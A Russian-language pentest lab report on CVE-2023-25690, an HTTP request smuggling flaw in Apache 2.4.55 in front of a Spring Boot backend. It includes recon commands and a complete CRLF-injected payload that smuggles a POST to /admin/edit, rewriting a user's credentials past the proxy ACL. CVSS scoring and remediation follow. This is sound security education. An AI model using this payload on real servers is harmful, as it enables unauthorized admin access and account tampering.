
Лаборатория HTTP Request Smuggling: Apache 2.4.55 CRLF injection
| Компонент | Роль | Версия |
|---|
| Apache HTTP Server | Обратный прокси | 2.4.55 (уязвимый) |
| Spring Boot (встроенный Tomcat) | Backend API | 4.x (Java 21) |
| SQLite | База данных | — |
Пользователь ──► Apache :80 (Прокси) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: несанитизированные CRLF
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> заблокировано
POST /public/register: позволяет регистрировать пользователей в базе данных
POST /public/login: позволяет выполнить вход через проверку введённых учётных данных и выдаёт токен сессии
GET /public/dashboard: закрытая область пользователей
GET /api/status: принимает параметр «name», является примером endpoint'а для проверки состояния сервисов
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: это маршрут, теоретически недоступный публично, который позволяет администраторам изменять данные пользователей
В ходе проведения пентеста была выявлена критическая уязвимость в инфраструктуре обратного прокси, которая раскрывает backend Spring Boot. Прокси Apache HTTP Server версии 2.4.55 подвержен уязвимости CVE-2023-25690 (HTTP Request Smuggling), которая позволяет атакующему обходить фильтры безопасности, установленные на прокси, и напрямую достигать незащищённых внутренних административных endpoint'ов.
Атака использует отсутствие санитизации управляющих символов (CRLF) в RewriteRule Apache, что позволяет внедрить второй HTTP-запрос между параметрами легитимного запроса к backend'у. Proof of concept продемонстрировал несанкционированное изменение учётных данных пользователя в базе данных через endpoint /admin/edit/{id}/{newName}/{newPass}, теоретически защищённый ACL прокси.
Рекомендации: Немедленно обновить Apache HTTP Server до версии ≥ 2.4.56, усилить фильтры безопасности на прокси и внедрить уровень безопасности на стороне backend'а (Spring Security) для всех чувствительных endpoint'ов.
Определение версии Apache путём анализа HTTP-заголовков ответа.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Результат: Заголовок Server раскрывает Apache/2.4.55. Обращение к базе данных CVE → соответствие с CVE-2023-25690.
Согласно CVE, в этой версии Apache, если присутствует RewriteRule, которая копирует в целевой URL backend'а произвольные символы из запроса к прокси, скопированный текст не санитизируется, поэтому проходят и управляющие символы (такие как переводы строк)
Например: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // P означает режим прокси
Итак, теперь наша цель — обнаружить возможный endpoint, который выполняет эту перезапись на уровне прокси
Из анализа ответов и поведения приложения видно, что сессия управляется через JSESSIONID, что подтверждает использование Java Servlet Container (например, Apache Tomcat, Jetty или WildFly). Кроме того, запрос к несуществующим endpoint'ам возвращает «Whitelabel Error Page», что указывает на наличие Spring Boot в backend'е.
С помощью bash-скрипта для автоматизации словарного фаззинга были сопоставлены endpoint'ы, доступные в сети (предположительно все)
Результат:
| Endpoint | HTTP-код | Метод | Параметры |
|---|---|---|---|
| admin | 403 | GET | (нет параметров) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (нет параметров) |
| public/logout | 200 | GET | (нет параметров) |
| api/status | 200 | GET | (нет параметров) |
| service/* | 200 | GET | (нет параметров) |
Учитывая, что
возвращают одинаковый ответ, можно понять, что они указывают на один и тот же endpoint backend'а. Кроме того, поскольку запросы вида /service/x/y/z (которые, скорее всего, не существуют) не возвращают 404, можно сделать вывод, что исходный endpoint принимает параметр, а не path variable. Таким образом, можно заключить, что запросы к /service/<сервис> транслируются с помощью RewriteRule для backend Spring Boot (именно то, что мы искали). Теперь нужно понять, является ли эта RewriteRule фиктивной, то есть использует ли она regex типа .* или хорошо структурирована.
Попробую вставить управляющие символы в запрос, чтобы разделить легитимное содержимое от скрытого:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... Сервис 'x' работает и стабилен.
Я вставил пользовательский параметр, чтобы проверить, что CRLF интерпретируются корректно
trash_header предназначен для инкапсуляции заголовков, которые Apache добавит в запрос к backend'у (таким образом они будут интерпретированы как простой текст X-Header и не будут иметь значения для HTTP-запроса)
С помощью tcpdump в контейнере backend'а мне удалось перехватить HTTP-запрос, поступающий от Apache:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
Backend видит этот запрос:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
«Управляющие символы сработали»
Ответ указывает мне, что часть с управляющими символами прошла беспрепятственно как структура самого HTTP-запроса, а не просто как параметр (поскольку имя, перехваченное backend'ом, — только 'x'). Таким образом, мы навязали формат HTTP-запроса к backend'у, и прокси его принял. Это открывает путь к настоящему payload для smuggling'а.
| Endpoint | Метод | Доступ | Примечания |
|---|---|---|---|
/public/register | POST | Публичный | Регистрация пользователя |
/public/login | POST | Публичный | Вход, выдаёт JSESSIONID |
/public/dashboard | GET | Аутентифицированный | Закрытая область |
/public/logout | GET | Публичный | Уничтожает сессию |
/api/status?name= | GET | Публичный | Проверка состояния |
/service/{param} | GET | Публичный | Уязвимый шлюз ($1 в query string) |
/admin/edit/{id}/{n}/{p} | POST | Защищён (ACL) | Изменение учётных данных пользователя |
/admin/ | * | Заблокирован (403) | ACL Apache |
Заставить обратный прокси Apache переслать два отдельных запроса на backend Spring Boot, добившись, чтобы второй запрос достиг endpoint'а /admin/edit/, обходя фильтр ACL Apache.
На этом этапе представим, что localhost и spring-backend — это соответственно публичные адреса прокси и сервера. В случае, если прокси и backend находятся в одной сети (или организации), spring-backend будет приватным IP (который, к сожалению, было бы сложно узнать)
Уязвимость кроется в RewriteRule:
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
Прокси захватывает пользовательский ввод в $1 и вставляет его в query string без санитизации управляющих символов (%20, %0d%0a). Backend (Tomcat) интерпретирует эти символы как завершение URL и начало нового HTTP-запроса на том же TCP-сокете.
A) GET /service/x → Легитимная часть; всё, что идёт после /service/
попадает в $1 (параметр name)
B) %20HTTP/1.1 → [Точка разделения] Пробел, который преждевременно
закрывает URL в backend'е
C) %0d%0aHost:...%0d%0a%0d%0a → [Внедрение заголовков] CRLF для завершения
первого запроса
D) POST /admin/edit/1/HACKED/PWNED → [Smuggled Request] Скрытый вредоносный
запрос к admin endpoint'у
E) %20HTTP/1.1 → HTTP-версия для второго запроса
F) %0d%0aContent-Length:%200 → Пустое тело для POST
%0d%0aConnection:%20close
%0d%0aX-Header:%20 → [Приёмник заголовков] Поглощает заголовки,
автоматически добавляемые Apache
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
Что Apache видит (один запрос):
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
Что backend получает (два запроса на том же сокете):
--- Запрос 1 (легитимный, но «искажённый») ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- Запрос 2 (smuggled) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
>> ... HTTP/1.1 200 ... Сервис 'x' работает и стабилен.
Пользователь с ID 1 был переименован в HACKED с паролем PWNED — полный обход ACL прокси.
Прямой доступ к базе данных для подтверждения:
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
| ID | Описание |
|---|---|
| CVE-2023-25690 | Apache HTTP Server HTTP Request Smuggling через mod_proxy с RewriteRule/ProxyPassMatch |
| CWE-444 | Несогласованная интерпретация HTTP-запросов ('HTTP Request/Response Smuggling') |
| CWE-113 | Некорректная нейтрализация CRLF-последовательностей в HTTP-заголовках ('HTTP Response Splitting') |
| Метрика | Значение | Описание |
|---|---|---|
| Вектор атаки (AV) | N (Сетевой) | Доступен из удалённой сети |
| Сложность атаки (AC) | L (Низкая) | Нет особых условий |
| Требуемые привилегии (PR) | N (Отсутствуют) | Аутентификация не требуется |
| Взаимодействие с пользователем (UI) | N (Отсутствует) | Не требует взаимодействия жертвы |
| Область действия (S) | C (Изменена) | Уязвимый компонент отличается от поражённого |
| Конфиденциальность (C) | H (Высокая) | Доступ к закрытым endpoint'ам |
| Целостность (I) | H (Высокая) | Изменение данных пользователя в базе данных |
| Доступность (A) | H (Высокая) | Возможно отравление кэша прокси / Загрязнение сокетов |
Базовый балл: 10.0 (КРИТИЧЕСКИЙ) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Метрика | Значение | Описание |
|---|---|---|
| Зрелость эксплойта (E) | F (Существует функциональный эксплойт) | Рабочий эксплойт |
| Уровень устранения (RL) | O (Официальное исправление) | В последующих версиях Apache ошибка исправлена |
| Достоверность отчёта (RC) | C (Подтверждена) | Уязвимость подтверждена и задокументирована |
Временной балл: 9.3 (ВЫСОКИЙ)
| Метрика | Значение | Описание |
|---|---|---|
| Вектор атаки (MAV) | N (Сетевой) | Прокси доступен через интернет |
| Сложность атаки (MAC) | H (Высокая) | Требует знания структуры внутренних endpoint'ов |
| Требуемые привилегии (MPR) | L (Низкие) | Привилегии любого рода не требуются |
| Взаимодействие с пользователем (MUI) | N (Отсутствует) | Не требуется взаимодействие внешних пользователей |
| Область действия (MS) | C (Изменена) | Нарушение одной системы через другую |
| Метрики воздействия (MC/MI/MA) | H/H/H | Максимальный ущерб (изменение данных в базе данных) |
| Требования CIA (CR/IR/AR) | H/H/H | Критическая система (вход пользователей) |
Экологический балл: 8.0 (ВЫСОКИЙ)
Векторная строка: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H
Общий балл: 8.0 — ВЫСОКИЙ
Обновить Apache HTTP Server до версии ≥ 2.4.56, где санитизация управляющих символов в RewriteRule с флагом [P] принудительно выполняется на уровне ядра сервера.
| Текущая версия | Целевая версия | Исправление |
|---|---|---|
| 2.4.55 | 2.4.56+ | Автоматическая санитизация CRLF в mod_proxy |
Добавить spring-boot-starter-security в pom.xml:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
Настроить SecurityFilterChain, который защищает административные endpoint'ы:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
Добавить проверки для всех параметров, принимаемых endpoint'ами (query string, path variables, form data):
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// Проверка, что пользователь имеет роль ADMIN
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "Доступ запрещён";
}
// ... операция разрешена только после проверки аутентификации
}